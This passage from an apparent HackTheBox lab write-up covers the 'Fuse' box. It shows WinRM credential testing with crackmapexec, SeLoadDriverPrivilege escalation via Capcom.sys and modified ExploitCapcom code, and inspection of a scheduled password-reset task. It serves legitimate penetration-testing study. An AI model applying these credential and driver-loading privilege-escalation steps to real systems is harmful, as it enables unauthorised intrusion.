class="cl"&gt;svc-print:$fab@s3Rv1ce$1&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0324.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That worked and I could access it, but there weren&amp;rsquo;t any other directories. Next, I tried WinRM to see if I could get a shell.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm fabricorp.local -u username.txt -p &amp;#34;\$fab@s3Rv1ce\$1&amp;#34; --continue-on-success&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0325.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm fabricorp.local -u svc-print -p &amp;#34;\$fab@s3Rv1ce\$1&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0326.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;winPEASany.exe didn&amp;rsquo;t give me much, so I checked the other findings first. If those went nowhere, I would try BloodHound.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0327.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;SeLoadDriverPrivilege is an interesting one. The two posts below explain it very well: the original article and a reproduction.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://cloud.tencent.com/developer/article/1180772" target="_blank" rel="noopener"&#10; &gt;https://cloud.tencent.com/developer/article/1180772&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.tarlogic.com/blog/seloaddriverprivilege-privilege-escalation/" target="_blank" rel="noopener"&#10; &gt;https://www.tarlogic.com/blog/seloaddriverprivilege-privilege-escalation/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0328.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It also explained why svc-print could log in.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0329.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/TarlogicSecurity/EoPLoadDriver/" target="_blank" rel="noopener"&#10; &gt;&lt;del&gt;https://github.com/TarlogicSecurity/EoPLoadDriver/&lt;/del&gt;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;~~There is a compiled version of eoploaddriver in the author&amp;rsquo;s issue: ~~&lt;a class="link" href="https://github.com/TarlogicSecurity/EoPLoadDriver/issues/2" target="_blank" rel="noopener"&#10; &gt;&lt;del&gt;https://github.com/TarlogicSecurity/EoPLoadDriver/issues/2&lt;/del&gt;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;~~Project URL: ~~&lt;a class="link" href="https://github.com/umiterkol/EoPLoadDriver_Release/releases" target="_blank" rel="noopener"&#10; &gt;&lt;del&gt;https://github.com/umiterkol/EoPLoadDriver_Release/releases&lt;/del&gt;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;del&gt;The struck-through section above refers to the original tool mentioned in the article. It needs to be used with a sys file and gives you a lot of flexibility.&lt;/del&gt;&lt;/p&gt;&#10;&lt;p&gt;The project below was also mentioned in the original article. You just need to package it as an EXE.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/tandasat/ExploitCapcom/" target="_blank" rel="noopener"&#10; &gt;https://github.com/tandasat/ExploitCapcom/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;It pops open a cmd window with administrator privileges, but that obviously wasn&amp;rsquo;t what I wanted, so it only needed a small change.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0330.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This is where it gets called.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0331.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Just replace it with whatever you want to execute. winPEASany had told me that the svc-print user&amp;rsquo;s directory was writable by everyone, so I chose that directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0332.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;According to the tutorial, I had to load it first, but it said I didn&amp;rsquo;t have the required privilege.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0333.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I Googled the problem, and it was the classic case of insufficient privileges.&lt;/p&gt;&#10;&lt;p&gt;Running it directly produced this error. (The reason below is that Capcom.sys had not been loaded.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0334.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;hr&gt;&#10;&lt;p&gt;Only at this point did I understand the full chain. The project above tells us to load Capcom.sys, and loading it requires the PoC tool. Once it has been loaded, we use the exploit above.&lt;/p&gt;&#10;&lt;p&gt;There was a precompiled build below, but unfortunately it kept failing for me, so I decided to compile it myself.&lt;/p&gt;&#10;&lt;p&gt;Precompiled project: &lt;a class="link" href="https://github.com/umiterkol/EoPLoadDriver_Release/releases" target="_blank" rel="noopener"&#10; &gt;&lt;del&gt;https://github.com/umiterkol/EoPLoadDriver_Release/releases&lt;/del&gt;&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;Source code: &lt;a class="link" href="https://github.com/TarlogicSecurity/EoPLoadDriver/" target="_blank" rel="noopener"&#10; &gt;https://github.com/TarlogicSecurity/EoPLoadDriver/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0335.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0336.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Press Ctrl + Alt + L to open Solution Explorer.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0337.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then just create a new source file.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0338.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The header file at the very top doesn&amp;rsquo;t matter, so delete it. Then switch to Release and build the solution, and you&amp;rsquo;re done.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0339.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Sure enough, the version I compiled myself worked without any issues. But then:&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0340.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Maybe I had misunderstood the result. The svc-print directory was writable in the context of the current user, but SYSTEM still didn&amp;rsquo;t have permission to access it. I decided to move everything to a public directory.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0341.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The test folder in the root directory was writable, so I put the files there.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0342.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0343.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;This box took me a huge amount of time. Its rating was only 3.5 stars, probably because the path was so convoluted: many things had to be repeated, and much of it wasn&amp;rsquo;t standard. Still, I think it deserves five stars. This box has a lot in common with Forest.&lt;/p&gt;&#10;&lt;p&gt;Forest is mainly a classic, conventional Active Directory pentest. After studying the material, I could go back to Forest and understand almost everything. This box, however, had practically nothing to do with the usual approach. It did a much better job of expanding into another side of the topic: remotely changing passwords with smbpasswd, learning a few more wordlist-generation flags for brute force, and dealing with domain-user passwords that kept changing. I could actually have written a Bash shell script to keep obtaining the new password, but I didn&amp;rsquo;t. I spent far too much time solving those three problems. I had to dig deeper one step at a time before I understood the logic behind them. With the password changes, for example, I only later learned that a scheduled task was constantly resetting the passwords. The brute force was also extremely slow, which is why I generally dislike brute force. I just don&amp;rsquo;t enjoy it, but it&amp;rsquo;s still something you need to use often.&lt;/p&gt;&#10;&lt;p&gt;The privilege-escalation section was new to me too. The blog authors understood the topic deeply enough that they could jump straight into using the technique, which left me completely confused at first and unsure how to exploit it. By the time I reached privilege escalation, my head was spinning. There was far too much to absorb between getting the shell and escalating privileges, and I tried a ridiculous number of things. After sleeping on it and coming back, though, the logic became much clearer.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;ll use both Forest and Fuse as review boxes later on.&lt;/p&gt;&#10;&lt;p&gt;At this point, I wanted to see how the scheduled task was being executed and also read a few other write-ups.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The first one looked like the scheduled task that reset the passwords.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0344.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /tn &amp;#34;Revert Password and Expiry&amp;#34; /fo LIST /v&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Folder: \&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;HostName: FUSE&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;TaskName: \Revert Password and Expiry&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Next Run Time: 11/30/2024 7:44:00 PM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Status: Ready&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Logon Mode: Interactive only&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Last Run Time: 11/30/2024 7:43:00 PM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Last Result: 0&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Author: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Task To Run: powershell.exe -c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText &amp;#34;Fabricorp01&amp;#34; -Force); Get-ADUser -Identity bnielson | Set-ADUser -ChangePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -R&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start In: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Comment: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Scheduled Task State: Enabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Idle Time: Disabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Power Management: Stop On Battery Mode, No Start On Batteries&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Run As User: FABRICORP\Administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Delete Task If Not Rescheduled: Disabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Stop Task If Runs X Hours and X Mins: 72:00:00&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Schedule: Scheduling data is not available in this format.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Schedule Type: One Time Only, Minute&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start Time: 12:00:00 AM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Start Date: 6/10/2020&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;End Date: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Days: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Months: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Repeat: Every: 0 Hour(s), 1 Minute(s)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Repeat: Until: Time: None&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Repeat: Until: Duration: Disabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Repeat: Stop If Still Running: Disabled&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;It ran once a minute and changed the passwords for bnielson and tlavel back to Fabricorp01, but the PowerShell command shown here looked incomplete.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;schtasks /query /tn &amp;#34;Revert Password and Expiry&amp;#34; /xml&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;span class="lnt"&gt;32&#10;&lt;/span&gt;&lt;span class="lnt"&gt;33&#10;&lt;/span&gt;&lt;span class="lnt"&gt;34&#10;&lt;/span&gt;&lt;span class="lnt"&gt;35&#10;&lt;/span&gt;&lt;span class="lnt"&gt;36&#10;&lt;/span&gt;&lt;span class="lnt"&gt;37&#10;&lt;/span&gt;&lt;span class="lnt"&gt;38&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;?xml version=&amp;#34;1.0&amp;#34; encoding=&amp;#34;UTF-16&amp;#34;?&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&amp;lt;Task version=&amp;#34;1.2&amp;#34; xmlns=&amp;#34;http://schemas.microsoft.com/windows/2004/02/mit/task&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;RegistrationInfo&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;URI&amp;gt;\Revert Password and Expiry&amp;lt;/URI&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/RegistrationInfo&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Principals&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Principal id=&amp;#34;Author&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;UserId&amp;gt;S-1-5-21-2633719317-1471316042-3957863514-500&amp;lt;/UserId&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;LogonType&amp;gt;InteractiveToken&amp;lt;/LogonType&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Principal&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Principals&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Settings&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;DisallowStartIfOnBatteries&amp;gt;true&amp;lt;/DisallowStartIfOnBatteries&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;StopIfGoingOnBatteries&amp;gt;true&amp;lt;/StopIfGoingOnBatteries&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;MultipleInstancesPolicy&amp;gt;IgnoreNew&amp;lt;/MultipleInstancesPolicy&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;IdleSettings&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Duration&amp;gt;PT10M&amp;lt;/Duration&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;WaitTimeout&amp;gt;PT1H&amp;lt;/WaitTimeout&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;StopOnIdleEnd&amp;gt;true&amp;lt;/StopOnIdleEnd&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;RestartOnIdle&amp;gt;false&amp;lt;/RestartOnIdle&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/IdleSettings&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Settings&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Triggers&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;TimeTrigger&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;StartBoundary&amp;gt;2020-06-10T00:00:00&amp;lt;/StartBoundary&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Repetition&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Interval&amp;gt;PT1M&amp;lt;/Interval&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Repetition&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/TimeTrigger&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;/Triggers&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Actions Context=&amp;#34;Author&amp;#34;&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Exec&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Command&amp;gt;powershell.exe&amp;lt;/Command&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;Arguments&amp;gt;-c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText &amp;#34;Fabricorp01&amp;#34; -Force); Get-ADUser -Identity bnielson | Set-ADUser -Ch&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;angePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -Reset -NewPassword (ConvertTo-SecureString -AsPlainText &amp;#34;Fabricorp01&amp;#34; -Force); Get-ADUser -Identity tlavel | Set-ADUser -ChangePasswordAtLogon:$true; 